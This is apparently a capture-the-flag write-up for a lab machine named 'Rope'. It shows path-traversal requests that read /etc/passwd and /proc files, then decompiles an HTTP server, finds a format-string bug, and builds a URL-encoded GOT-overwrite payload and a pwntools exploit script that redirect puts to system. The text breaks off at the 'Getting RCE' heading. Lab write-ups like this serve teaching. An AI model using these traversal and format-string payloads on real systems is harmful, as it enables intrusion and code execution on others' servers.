Rope
41 minutes to read
john
. This user is able to run another binary as user r4j
. This binary uses an external library that we can modify because of its permissions and gain access as r4j
. Finally, there’s another binary that runs a local socket server, we can access the binary and analyze it to find out a Buffer Overflow vulnerability. The binary has all protections set, but it is still exploitable to get RCE as root
- OS: Linux
- Difficulty: Insane
- IP Address: 10.10.10.148
- Release: 03 / 08 / 2019
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.148 -p 22,9999
Nmap scan report for 10.10.10.148
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
| 256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_ 256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open abyss?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache
| Content-length: 4871
| Content-type: text/html
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <title>Login V10</title>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <!--===============================================================================================-->
| <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
| <!--===============================================================================================-->
| <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
| <!--===============================================================================================-->
| <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
|_ <!--===============================================
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 146.57 seconds
This machine has ports 22 (SSH) and 9999 (HTTP) open.
Enumeration
If we go to http://10.10.10.148:9999
, we will see a login form:
If we try any credentials, we will see “File not found”:
Let’s fuzz to get more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.148:9999/FUZZ
images [Status: 200, Size: 225, Words: 9, Lines: 3, Duration: 52ms]
css [Status: 200, Size: 317, Words: 11, Lines: 4, Duration: 298ms]
js [Status: 200, Size: 226, Words: 9, Lines: 3, Duration: 37ms]
vendor [Status: 200, Size: 1011, Words: 25, Lines: 11, Duration: 4466ms]
fonts [Status: 200, Size: 643, Words: 17, Lines: 7, Duration: 64ms]
If we go to any of the above endpoints, we will see a directory listing:
Let’s try fuzzing with another wordlist to test for Directory Path Traversal vulnerabilities:
$ ffuf -w $WORDLISTS/wfuzz/Injections/Traversal.txt -u http://10.10.10.148:9999/FUZZ
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 273, Words: 21, Lines: 10, Duration: 538ms]
../../../../../../../../../../../../etc/hosts%00 [Status: 200, Size: 273, Words: 21, Lines: 10, Duration: 539ms]
../../../../../../../../../../../../etc/passwd%00 [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 539ms]
/../../../../../../../../../../../etc/passwd%00.jpg [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 540ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 540ms]
/./././././././././././etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 562ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 577ms]
/../../../../../../../../../../../etc/passwd%00.html [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 577ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1594, Words: 9, Lines: 32, Duration: 79ms]
Cool, that was unexpected.
Foothold
Let’s read /etc/passwd
(actually, we only need to append the path to the root URL):
$ curl 10.10.10.148:9999//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
$ curl 10.10.10.148:9999//etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
Nice, there are three available users on the machine: root
, r4j
and john
.
Directory Path Traversal exploitation
At this point, let’s enumerate what technology is behind the web server. We can leak this information going to /proc/self/cmdline
:
$ curl 10.10.10.148:9999//proc/self/cmdline -vso -
* Trying 10.10.10.148:9999...
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET //proc/self/cmdline HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 0
< Content-type: text/plain
<
* Connection #0 to host 10.10.10.148 left intact
$ nc 10.10.10.148 9999 <<< $'GET //proc/self/cmdline HTTP/1.1\n\n'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 0
Content-type: text/plain
But we get nothing… Let’s list the /proc/self
directory:
It seems that all files are empty, except for /proc/self/exe
, which is a symbolic link to the binary that is being executed.
We can download it and analyze it. In fact, it is a 32-bit ELF:
$ curl 10.10.10.148:9999//proc/self/exe -so exe
$ file exe
content/exe: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped
Actually, we can access /proc/self/cwd
and see all the files at the current working directory of the binary:
The binary is called httpserver
, and uses run.sh
to run (obviously):
$ curl 10.10.10.148:9999//proc/self/cwd/run.sh
#!/bin/bash
source /home/john/.bashrc
while true;
do cd /opt/www;
./httpserver;
done
Binary analysis: httpserver
To analyze the binary, we can use Ghidra and view the decompiled C source code. This is the main
function:
void main(int param_1, int param_2) {
int iVar1;
int iVar2;
int in_GS_OFFSET;
socklen_t local_140;
int local_13c;
char *local_138;
int local_134;
int local_130;
int local_12c;
int local_128;
sockaddr local_124;
char local_114[256];
undefined4 local_14;
undefined4 *puStack16;
iVar1 = param_2;
iVar2 = param_1;
puStack16 = ¶m_1;
local_14 = *(undefined4 *) (in_GS_OFFSET + 0x14);
local_13c = 9999;
local_138 = getcwd(local_114, 0x100);
local_140 = 0x10;
if (iVar2 == 2) {
if ((**(char **) (iVar1 + 4) < '0') || ('9' < **(char **) (iVar1 + 4))) {
local_138 = *(char **) (iVar1 + 4);
iVar2 = chdir(*(char **) (iVar1 + 4));
if (iVar2 != 0) {
perror(*(char **) (iVar1 + 4));
/* WARNING: Subroutine does not return */
exit(1);
}
} else {
local_13c = atoi(*(char **) (iVar1 + 4));
}
} else if (iVar2 == 3) {
local_13c = atoi(*(char **) (iVar1 + 8));
local_138 = *(char **) (iVar1 + 4);
iVar2 = chdir(*(char **) (iVar1 + 4));
if (iVar2 != 0) {
perror(*(char **) (iVar1 + 4));
/* WARNING: Subroutine does not return */
exit(1);
}
}
local_134 = open_listenfd(local_13c);
local_130 = local_134;
if (0 < local_134) {
printf("listen on port %d, fd is %d\n", local_13c, local_134);
signal(0xd, (__sighandler_t) 0x1);
signal(0x11, (__sighandler_t) 0x1);
while (true) {
do {
local_12c = accept(local_134, &local_124, &local_140);
} while (local_12c < 0);
local_128 = process(local_12c, &local_124);
if (local_128 == 1) break;
close(local_12c);
}
/* WARNING: Subroutine does not return */
exit(0);
}
perror("ERROR");
/* WARNING: Subroutine does not return */
exit(local_134);
}
Basically, it starts a socket server on port 9999 and waits for connections. Once a connection arrives, it is passed to the process
function:
undefined4 process(int param_1, undefined4 param_2) {
__pid_t _Var1;
undefined4 uVar2;
int __fd;
int in_GS_OFFSET;
undefined4 local_884;
stat local_870;
char local_818[2048];
int local_18;
int local_14;
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
_Var1 = fork();
if (_Var1 == 0) {
if (param_1 < 0) {
uVar2 = 1;
} else {
_Var1 = getpid();
printf("accept request, fd is %d, pid is %d\n", param_1, _Var1);
parse_request(param_1, local_818);
local_884 = 200;
__fd = open(local_818, 0, 0);
if (__fd < 1) {
local_884 = 0x194;
client_error(param_1, 0x194, "Not found", "File not found");
} else {
fstat(__fd, &local_870);
if ((local_870.st_mode & 0xf000) == 0x8000) {
if (local_14 == 0) {
local_14 = local_870.st_size;
}
if (0 < local_18) {
local_884 = 0xce;
}
serve_static(param_1, __fd, local_818, local_870.st_size);
} else if ((local_870.st_mode & 0xf000) == 0x4000) {
local_884 = 200;
handle_directory_request(param_1, __fd, local_818);
} else {
local_884 = 400;
client_error(param_1, 400, "Error", "Unknow Error");
}
close(__fd);
}
log_access(local_884, param_2, local_818);
uVar2 = 1;
}
} else {
uVar2 = 0;
}
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
uVar2 = __stack_chk_fail_local();
}
return uVar2;
}
Here we can see some interesting functions: parse_request
, client_error
, serve_static
, handle_directory_request
and log_access
. Let’s take a look at the last one:
void log_access(undefined4 param_1, int param_2, char *param_3) {
int iVar1;
uint16_t uVar2;
char *pcVar3;
int in_GS_OFFSET;
iVar1 = *(int *) (in_GS_OFFSET + 0x14);
uVar2 = ntohs(*(uint16_t *) (param_2 + 2));
pcVar3 = inet_ntoa((in_addr) ((in_addr *) (param_2 + 4))->s_addr);
printf("%s:%d %d - ", pcVar3, (uint) uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);
if (iVar1 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
Can you see it? I mean, the vulnerability. The above function has a Format String vulnerability, since param_3
is passed to printf
as the first argument. This param_3
is local_818
in process
, which contains the actual URI requested to the server. Hence, we can take control over this variable and exploit the vulnerability.
Exploit preparation
To do so, let’s run the httpserver
locally. I would also like to download the remote Glibc library and loader, but the server is not showing any response body when requesting /proc/self/maps
:
$ curl 10.10.10.148:9999//proc/self/maps -vso -
* Trying 10.10.10.148:9999...
* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)
> GET //proc/self/maps HTTP/1.1
> Host: 10.10.10.148:9999
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-cache
< Content-length: 0
< Content-type: text/plain
<
* Connection #0 to host 10.10.10.148 left intact
Let’s take a look at parse_request
:
void parse_request(undefined4 param_1, int param_2) {
size_t sVar1;
int in_GS_OFFSET;
char *local_1028;
int local_1024;
undefined local_101c[1036];
char local_c10;
char local_c0f;
char local_c0e;
char local_810[1024];
char local_410;
char acStack1039[1023];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
*(undefined4 *) (param_2 + 0x800) = 0;
*(undefined4 *) (param_2 + 0x804) = 0;
rio_readinitb(local_101c, param_1);
rio_readlineb(local_101c, &local_c10, 0x400);
__isoc99_sscanf(&local_c10, "%s %s", local_810, &local_410);
while ((local_c10 != '\n' && (local_c0f != '\n'))) {
rio_readlineb(local_101c, &local_c10, 0x400);
if ((local_c10 == 'R') && ((local_c0f == 'a' && (local_c0e == 'n')))) {
__isoc99_sscanf(&local_c10, "Range: bytes=%lu-%lu", param_2 + 0x800, param_2 + 0x804);
if (*(int *) (param_2 + 0x804) != 0) {
*(int *) (param_2 + 0x804) = *(int *) (param_2 + 0x804) + 1;
}
}
}
local_1028 = &local_410;
if (local_410 == '/') {
local_1028 = acStack1039;
sVar1 = strlen(local_1028);
if (sVar1 == 0) {
local_1028 = "./index.html";
} else {
for (local_1024 = 0; local_1024 < (int) sVar1; local_1024 = local_1024 + 1) {
if (local_1028[local_1024] == '?') {
local_1028[local_1024] = '\0';
break;
}
}
}
}
strcpy((char *) (param_2 + 0x400), local_810);
url_decode(local_1028, param_2, 0x400);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
There is a place where the program checks the existence of the Range
header. This header can be used to specify to the server the amount of bytes we want to retrieve. Let’s try it:
$ curl 10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-1000000'
565ab000-565ac000 r--p 00000000 08:02 46784 /opt/www/httpserver
565ac000-565ae000 r-xp 00001000 08:02 46784 /opt/www/httpserver
565ae000-565af000 r--p 00003000 08:02 46784 /opt/www/httpserver
565af000-565b0000 r--p 00003000 08:02 46784 /opt/www/httpserver
565b0000-565b1000 rw-p 00004000 08:02 46784 /opt/www/httpserver
57c42000-57c64000 rw-p 00000000 00:00 0 [heap]
f7dad000-f7f7f000 r-xp 00000000 08:02 46904 /lib32/libc-2.27.so
f7f7f000-f7f80000 ---p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f80000-f7f82000 r--p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f82000-f7f83000 rw-p 001d4000 08:02 46904 /lib32/libc-2.27.so
f7f83000-f7f86000 rw-p 00000000 00:00 0
f7f8f000-f7f91000 rw-p 00000000 00:00 0
f7f91000-f7f94000 r--p 00000000 00:00 0 [vvar]
f7f94000-f7f96000 r-xp 00000000 00:00 0 [vdso]
f7f96000-f7fbc000 r-xp 00000000 08:02 46900 /lib32/ld-2.27.so
f7fbc000-f7fbd000 r--p 00025000 08:02 46900 /lib32/ld-2.27.so
f7fbd000-f7fbe000 rw-p 00026000 08:02 46900 /lib32/ld-2.27.so
ffea8000-ffec9000 rw-p 00000000 00:00 0 [stack]
curl: (18) transfer closed with 998488 bytes remaining to read
Great, we have successfully retrieved the file. Moreover, we can apply the same header to read /proc/self/cmdline
and /proc/self/environ
:
$ curl 10.10.10.148:9999//proc/self/cmdline -H 'Range: bytes=0-1000000' -so -
./httpserver
$ curl 10.10.10.148:9999//proc/self/environ -H 'Range: bytes=0-1000000' -so - | tr '\0' '\n'
LANG=en_US.UTF-8
SUDO_GID=0
USERNAME=john
SUDO_COMMAND=/opt/www/run.sh
USER=john
PWD=/opt/www
HOME=/root
SUDO_USER=root
SUDO_UID=0
MAIL=/var/mail/john
TERM=unknown
SHELL=/bin/bash
SHLVL=1
LOGNAME=john
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
OLDPWD=/root
_=./httpserver
The file /proc/self/maps
will be useful for the Format String exploitation, because we have the base addresses of the binary and Glibc. In fact, the binary is protected with NX, PIE and canary:
$ checksec httpserver
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hence, to compute function addresses at runtime, we will need to use a base address and the corresponding offset (both for the binary and for Glibc), because ASLR is enabled in the machine (there’s a 2
at /proc/sys/kernel/randomize_va_space
):
$ curl 10.10.10.148:9999//proc/sys/kernel/randomize_va_space -H 'Range: bytes=0-1000000' -so -
2
Format String exploitation
Let’s run the binary locally:
$ ./httpserver
listen on port 9999, fd is 3
Now we can trigger the Format String vulnerability (notice that %x
must be URL encoded to %25x
):
$ curl 127.0.0.1:9999
File not found
$ curl 127.0.0.1:9999/%25x.%25x.%25x.%25x
File not found
And in fact the payload works, we see some hexadecimal values (%x
is a format string specifier that shows a value as a hexadecimal number), which are values leaked from the stack:
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 67081
127.0.0.1:34232 404 - ./index.html
request method:
GET
accept request, fd is 4, pid is 67139
127.0.0.1:34236 404 - f7f8f0dc.85bc.194.ffca3898
request method:
GET
In order to exploit a Format String vulnerability like this one, we must get the position in the stack where our payload is being stored (yes, the payload we provide to the binary is stored in the stack as well):
$ curl 127.0.0.1:9999/$(python3 -c 'print("%25x." * 100)')
File not found
$ ./httpserver
listen on port 9999, fd is 3
...
accept request, fd is 4, pid is 78524
127.0.0.1:34254 404 - f7f8f0dc.85ce.194.ffca3898.ffca3084.ffca38dc.194.ffca3898.f7facad4.2e.91acc300.56659000.f7f74000.ffca3898.566566e3.194.ffca38dc.ffca3084.56657401.ffca3054.ffca3050.ffca38dc.4.f7fc2000.f7f965d0.194.0.ffffffff.56657401.ffca3050.42dedaf.ffca30e4.f7f8e3e0.f7f8e760.1.0.1.f7f76098.f7f74000.5712f008.f7e85ea0.5712f000.f7e85f58.57130000.85bdb5ef.f7f8e2d0.ffca30e4.f7d9bd81.f7fa16bd.f7d901fc.f7f74740.1000.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
request method:
GET
If we count the dots, we will see that our payload appears at position 53. Let’s verify it using %53$x
(encoded as %2553%24x
):
$ curl 127.0.0.1:9999/%2553%24x
File not found
$ curl 127.0.0.1:9999/ABCD%2553%24x
File not found
$ ./httpserver
listen on port 9999, fd is 3
...
accept request, fd is 4, pid is 82102
127.0.0.1:34264 404 - 24333525
request method:
GET
accept request, fd is 4, pid is 82381
127.0.0.1:34268 404 - ABCD44434241
request method:
GET
As it can be seen, if we send %53$x
we receive 24333525
, which is %53$
in hexadecimal format (little-endian). And if we prepend ABCD
to the format string, we see ABCD
plus 44434241
(which is indeed ABCD
in hexadecimal format, as little-endian).
Format String vulnerabilities not only allow to leak arbitrary values from the stack, they also allow to write arbitrary data using %n
. The way %n
works is by writing the number of bytes printed until the format string (%n
) into the address that is referenced. For instance, entering 1234%5$n
in printf
will write 4
into the address at the fifth position on the stack.
Since we have control over the stack from position 53, we can add an arbitrary address right there and write arbitrary data into that address using %53$n
. Moreover, if we wanted to print a large amount of bytes, we can abuse yet another format string, which is %c
. By using %1234c
we will print 1234 white space characters (instead of sending that amount of characters).
So, what is the exploit strategy? Since the binary has Partial RELRO, that means that we can modify the Global Offset Table (GOT). This table contains the addresses of external functions at runtime (if they have been used at least once, otherwise, they point to another address to perform the resolution process).
The idea is to modify the address of a function inside Glibc and point it to system
. The best functions for this approach are the ones that receive a string as the first parameter (for example, printf
, strlen
or puts
), because then we can enter directly a string holding a shell command and it will be executed by system
.
Let’s run the binary in GDB to debug a bit. Since it is a forking server, we must use the following configurations:
$ gdb -q httpserver
Reading symbols from httpserver...
(No debugging symbols found in httpserver)
gef➤ set follow-fork-mode child
gef➤ set detach-on-fork off
gef➤ run
Starting program: ./httpserver
listen on port 9999, fd is 3
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
[0x5655a00c] setsockopt@GLIBC_2.0 → 0xf7ecb570
[0x5655a010] strcmp@GLIBC_2.0 → 0x56556046
[0x5655a014] read@GLIBC_2.0 → 0x56556056
[0x5655a018] printf@GLIBC_2.0 → 0xf7e16d30
[0x5655a01c] memcpy@GLIBC_2.0 → 0x56556076
[0x5655a020] inet_ntoa@GLIBC_2.0 → 0x56556086
...
[0x5655a040] strcpy@GLIBC_2.0 → 0x56556106
[0x5655a044] getpid@GLIBC_2.0 → 0x56556116
[0x5655a048] puts@GLIBC_2.0 → 0x56556126
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
...
[0x5655a068] getcwd@GLIBC_2.0 → 0xf7eb83a0
[0x5655a06c] strlen@GLIBC_2.0 → 0x565561b6
[0x5655a070] __libc_start_main@GLIBC_2.0 → 0xf7de1de0
[0x5655a074] write@GLIBC_2.0 → 0x565561d6
[0x5655a078] bind@GLIBC_2.0 → 0xf7ecaf30
[0x5655a07c] __isoc99_sscanf@GLIBC_2.7 → 0x565561f6
...
[0x5655a0a8] atoi@GLIBC_2.0 → 0x565562a6
[0x5655a0ac] socket@GLIBC_2.0 → 0xf7ecb660
[0x5655a0b0] close@GLIBC_2.0 → 0x565562c6
[0x5655a0b4] closedir@GLIBC_2.0 → 0x565562d6
gef➤ p system
$1 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ continue
Continuing.
As it can be seen, puts
entry appears at 0x5655a048
(it does not have a real address because it has not been called yet), and system
is at 0xf7e08360
. Let’s start by overwriting the whole address of puts
by 0xff
(255). For that, we can use this payload: "%255c%56$n--\x48\xa0\x55\x56"
. Notice that in the stack, this payload will be placed in words of 4 bytes (32 bits):
$ echo -ne '%255c%56$n--\x48\xa0\x55\x56' | xxd -c 4 -g 4
00000000: 25323535 %255
00000004: 63253536 c%56
00000008: 246e2d2d $n--
0000000c: 48a05556 H.UV
Also notice that the --
is just to pad the payload so that the address fills correctly in a stack position (specifically, 56). Before checking it, we must set a breakpoint after the vulnerable printf
instruction:
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ disassemble log_access
Dump of assembler code for function log_access:
0x56557077 <+0>: push ebp
0x56557078 <+1>: mov ebp,esp
0x5655707a <+3>: push esi
0x5655707b <+4>: push ebx
0x5655707c <+5>: sub esp,0x20
...
0x565570e5 <+110>: mov eax,DWORD PTR [ebp-0x24]
0x565570e8 <+113>: sub esp,0xc
0x565570eb <+116>: push eax
0x565570ec <+117>: call 0x56556060 <printf@plt>
0x565570f1 <+122>: add esp,0x10
0x565570f4 <+125>: sub esp,0xc
0x565570f7 <+128>: lea eax,[ebx-0x1e1e]
0x565570fd <+134>: push eax
0x565570fe <+135>: call 0x56556120 <puts@plt>
0x56557103 <+140>: add esp,0x10
0x56557106 <+143>: sub esp,0xc
0x56557109 <+146>: lea eax,[ebx-0x1d50]
0x5655710f <+152>: push eax
0x56557110 <+153>: call 0x56556120 <puts@plt>
...
End of assembler dump.
gef➤ break *log_access+122
Breakpoint 1 at 0x565570f1
gef➤ continue
Continuing.
We also need to URL encode all data:
$ curl 127.0.0.1:9999/%25255c%2556%24n--%48%a0%55%56
File not found
And at this point, the GOT entry for puts
should be changed to 0xff
:
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
...
[0x5655a048] puts@GLIBC_2.0 → 0xff
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
[0x5655a050] sendfile@GLIBC_2.1 → 0x56556146
[0x5655a054] exit@GLIBC_2.0 → 0x56556156
[0x5655a058] open@GLIBC_2.0 → 0xf7eb7120
...
gef➤ continue
Continuing.
And there we have it. However, we need to enter a much bigger number in order to set the address of system
. To accomplish this, we can use %hhn
to write to a single byte.
Let’s do this by hand: the address of system
is at 0xf7e08360
, so the first byte must be overwritten with 0x60
(96 in decimal), the second with 0x83
(131 in decimal), the third one with 0xe0
(224 in decimal), and the last one with 0xf7
(247 in decimal).
Manually, the first overwrite must be with payload "%96c%56$hhn-\x48\xa0\x55\x56"
. Now for the second byte, the payload will be "%30c%60$hhn-\x49\xa0\x55\x56"
(notice that 30 = 131 - 96 - 4 - 1
, since we have already printed 96 characters plus the 4-byte address plus the -
; and also that we are writing to 0x5655a048 + 1 = 0x5655a049
). The third byte will be overwritten with payload "%88c%64$hhn-\x4a\xa0\x55\x56"
. And the last byte, using "%18c%68$hhn-\x4b\xa0\x55\x56"
. So, this is the full payload:
%96c%56$hhn-\x48\xa0\x55\x56%30c%60$hhn-\x49\xa0\x55\x56%88c%64$hhn-\x4a\xa0\x55\x56%18c%68$hhn-\x4b\xa0\x55\x56
Let’s try it (using URL encoding):
$ curl 127.0.0.1:9999/%2596c%2556%24hhn-%48%a0%55%56%2530c%2560%24hhn-%49%a0%55%56%2588c%2564%24hhn-%4a%a0%55%56%2519c%2568%24hhn-%4b%a0%55%56
File not found
[Attaching after process 192000 fork to child process 192115]
[New inferior 2 (process 192115)]
accept request, fd is 4, pid is 192115
[Switching to process 192115]
Thread 2.1 "httpserver" hit Breakpoint 1, 0x565570f1 in log_access ()
gef➤ p system
$2 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ got
GOT protection: Partial RelRO | GOT functions: 43
...
[0x5655a048] puts@GLIBC_2.0 → 0xf7e08360
[0x5655a04c] __fxstat@GLIBC_2.0 → 0x56556136
[0x5655a050] sendfile@GLIBC_2.1 → 0x56556146
[0x5655a054] exit@GLIBC_2.0 → 0x56556156
[0x5655a058] open@GLIBC_2.0 → 0xf7eb7120
...
gef➤ continue
Continuing.
[Attaching after process 203855 vfork to child process 206427]
[New inferior 3 (process 206427)]
process 206427 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
Error in re-setting breakpoint 1: No symbol "log_access" in current context.
[Inferior 3 (process 206427) exited normally]
There we have it! Now puts
will be system
. Let’s recall some of the code from log_access
:
void log_access(undefined4 param_1, int param_2, char *param_3) {
// ...
printf("%s:%d %d - ", pcVar3, (uint) uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);
// ...
return;
}
So if puts
is now system
, we can execute whatever we want as long as our command is placed at param_3 + 0x400
. For the moment, let’s start creating an exploit script in Python:
#!/usr/bin/env python3
from pwn import *
context.binary = 'httpserver'
def url_encode(url: bytes) -> bytes:
return b'%' + '%'.join(hex(byte)[2:] for byte in url).encode()
def main():
fmtstr = b'%96c%56$hhn-\x48\xa0\x55\x56%30c%60$hhn-\x49\xa0\x55\x56%88c%64$hhn-\x4a\xa0\x55\x56%18c%68$hhn-\x4b\xa0\x55\x56'
payload = url_encode(fmtstr)
http = remote('127.0.0.1', 9999)
http.sendline(b'GET /' + payload + b' HTTP/1.1\n')
http.close()
if __name__ == '__main__':
main()
I disabled ASLR for testing purposes. Once the binary is running (outside GDB), we trigger the exploit:
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
As expected, we are looking some errors from sh
(command not found):
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 261035
sh: 1: request: not found
Usage: GET [-options] <url>...
-m <method> use method for the request (default is 'GET')
-f make request even if GET believes method is illegal
-b <base> Use the specified URL as base
-t <timeout> Set timeout value
-i <time> Set the If-Modified-Since header on the request
-c <conttype> use this content-type for POST, PUT, CHECKIN
-a Use text mode for content I/O
-p <proxyurl> use this as a proxy
-P don't load proxy settings from environment
-H <header> send this HTTP header (you can specify several)
-C <username>:<password>
provide credentials for basic authentication
-u Display method and URL before any response
-U Display request headers (implies -u)
-s Display response status code
-S Display response status chain (implies -u)
-e Display response headers (implies -s)
-E Display whole chain of headers (implies -S and -U)
-d Do not display content
-o <format> Process HTML content in various ways
-v Show program version
-h Print this message
127.0.0.1:34438 404 - -HUV -IUV -JUV X-KUV
But there’s one that’s interesting. In fact, GET
is a command, and the help panel is shown when it is executed without arguments:
$ GET
Usage: GET [-options] <url>...
-m <method> use method for the request (default is 'GET')
-f make request even if GET believes method is illegal
-b <base> Use the specified URL as base
-t <timeout> Set timeout value
-i <time> Set the If-Modified-Since header on the request
-c <conttype> use this content-type for POST, PUT, CHECKIN
-a Use text mode for content I/O
-p <proxyurl> use this as a proxy
-P don't load proxy settings from environment
-H <header> send this HTTP header (you can specify several)
-C <username>:<password>
provide credentials for basic authentication
-u Display method and URL before any response
-U Display request headers (implies -u)
-s Display response status code
-S Display response status chain (implies -u)
-e Display response headers (implies -s)
-E Display whole chain of headers (implies -S and -U)
-d Do not display content
-o <format> Process HTML content in various ways
-v Show program version
-h Print this message
Getting RCE
